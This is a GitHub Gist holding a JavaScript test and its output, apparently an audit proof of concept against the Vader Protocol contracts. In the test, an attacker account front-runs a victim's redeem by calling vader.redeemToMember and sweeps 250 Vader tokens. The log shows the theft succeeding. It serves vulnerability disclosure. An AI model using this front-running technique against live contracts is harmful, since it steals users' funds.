-
-
Save toastedsteaksandwich/39bfed78b21d7e6c02fe13ea5b2023c3 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const { expect } = require("chai"); | |
var Utils = artifacts.require('./Utils') | |
var Vether = artifacts.require('./Vether') | |
var Vader = artifacts.require('./Vader') | |
var USDV = artifacts.require('./USDV') | |
var VAULT = artifacts.require('./Vault') | |
var POOLS = artifacts.require('./Pools') | |
var Router = artifacts.require('./Router') | |
var Factory = artifacts.require('./Factory') | |
var Attack = artifacts.require('./Attack') | |
const BigNumber = require('bignumber.js') | |
const truffleAssert = require('truffle-assertions') | |
function BN2Str(BN) { return ((new BigNumber(BN)).toFixed()) } | |
function getBN(BN) { return (new BigNumber(BN)) } | |
function sleep(ms) { | |
return new Promise(resolve => setTimeout(resolve, ms)); | |
} | |
var utils; var vader; var vether; var usdv; var vault; var router; var pools; var attack; var factory; | |
var acc0; var acc1; var acc2; var acc3; var acc0; var acc5; | |
// | |
before(async function() { | |
accounts = await ethers.getSigners(); | |
acc0 = await accounts[0].getAddress() | |
acc1 = await accounts[1].getAddress() | |
acc2 = await accounts[2].getAddress() | |
acc3 = await accounts[3].getAddress() | |
utils = await Utils.new(); | |
vether = await Vether.new(); | |
vader = await Vader.new(); | |
usdv = await USDV.new(); | |
vault = await VAULT.new(); | |
router = await Router.new(); | |
pools = await POOLS.new(); | |
factory = await Factory.new(); | |
attack = await Attack.new(); | |
}) | |
describe("Deploy USDV", function() { | |
it("Should deploy", async function() { | |
await vader.init(vether.address, usdv.address, utils.address) | |
await usdv.init(vader.address, vault.address, router.address) | |
await vault.init(vader.address, usdv.address, router.address, factory.address, pools.address) | |
await router.init(vader.address, usdv.address, pools.address); | |
await pools.init(vader.address, usdv.address, router.address, router.address); | |
await attack.init(vader.address, usdv.address) | |
await factory.init(pools.address); | |
await vether.transfer(acc1, '3403') | |
await vether.approve(vader.address, '3400', {from:acc1}) | |
await vader.upgrade('3400', {from:acc1}) | |
expect(await usdv.name()).to.equal("VADER STABLE DOLLAR"); | |
expect(await usdv.symbol()).to.equal("USDV"); | |
expect(BN2Str(await usdv.decimals())).to.equal('18'); | |
expect(BN2Str(await usdv.totalSupply())).to.equal('0'); | |
expect(await usdv.DAO()).to.equal(acc0); | |
}); | |
}); | |
describe("Convert and redeem", function() { | |
//old test to get USDV balance | |
it("Should convert acc1", async function() { | |
await vader.flipMinting() | |
await usdv.convert('250', {from:acc1}) | |
expect(BN2Str(await vader.totalSupply())).to.equal('3150'); | |
expect(BN2Str(await vader.balanceOf(acc1))).to.equal('3150'); | |
expect(BN2Str(await usdv.totalSupply())).to.equal('250'); | |
expect(BN2Str(await usdv.balanceOf(acc1))).to.equal('250'); | |
}); | |
//vulnerability exploit | |
it("any user can sweep the balance of the vader contract", async function() { | |
//user transfers USDV to Vader contract to call redeemToMember directly | |
console.log("victim vader bal before: " + await vader.balanceOf(acc1)); | |
console.log("victim USDV bal before: " + await usdv.balanceOf(acc1)); | |
await usdv.transfer(vader.address, '250', {from: acc1}); | |
//attacker detects tx and front runs user's call to redeem | |
const AttackerVaderBalBefore = await vader.balanceOf(acc2); | |
await vader.redeemToMember(acc2); | |
const AttackerVaderBalAfter = await vader.balanceOf(acc2); | |
console.log("victim vader bal after: " + await vader.balanceOf(acc1)); | |
console.log("victim USDV bal after: " + await usdv.balanceOf(acc1)); | |
console.log("\nthe attacker front ran the victim's call to vader.redeemToMember() to steal: ", (AttackerVaderBalAfter-AttackerVaderBalBefore) + " Vader"); | |
}); | |
}); | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
victim vader bal before: 3150 | |
victim USDV bal before: 250 | |
victim vader bal after: 3150 | |
victim USDV bal after: 0 | |
the attacker front ran the victim's call to vader.redeemToMember() to steal: 250 Vader | |
✓ any user can sweep the balance of the vader contract (94ms) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment